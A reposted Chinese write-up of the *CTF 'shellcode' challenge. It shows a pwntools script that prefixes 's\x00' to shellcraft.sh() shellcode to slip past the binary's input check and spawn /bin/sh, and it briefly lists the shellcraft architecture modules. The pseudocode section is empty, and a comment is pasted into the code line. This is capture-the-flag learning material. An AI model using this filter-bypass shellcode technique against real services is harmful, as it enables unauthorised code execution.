*CTF——shellcode


一看題目是利用shellcode解決問題

偽代碼:

EXP:

from pwn import*
   context(os='linux',arch='amd64',log_level='debug')
   p = process('./shellcode')
   shellcode ='s\x00'+ asm(shellcraft.sh()):i,j指針同時指向s,跳出內循環,\x00結束外循環,return 1;
   p.recvuntil("give me shellcode, plz:\n")
   p.sendline(shellcode)                                                                                 
   p.interactive()

return 1以后執行shellcraft.sh()則是執行/bin/sh的shellcode了

shellcraft模塊是shellcode的模塊,包含一些生成shellcode的函數。
其中的子模塊聲明架構,比如:

shellcraft.arm 是ARM架構的,

shellcraft.amd64是AMD64架構,

shellcraft.i386是Intel 80386架構的,

shellcraft.common是所有架構通用的。


 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM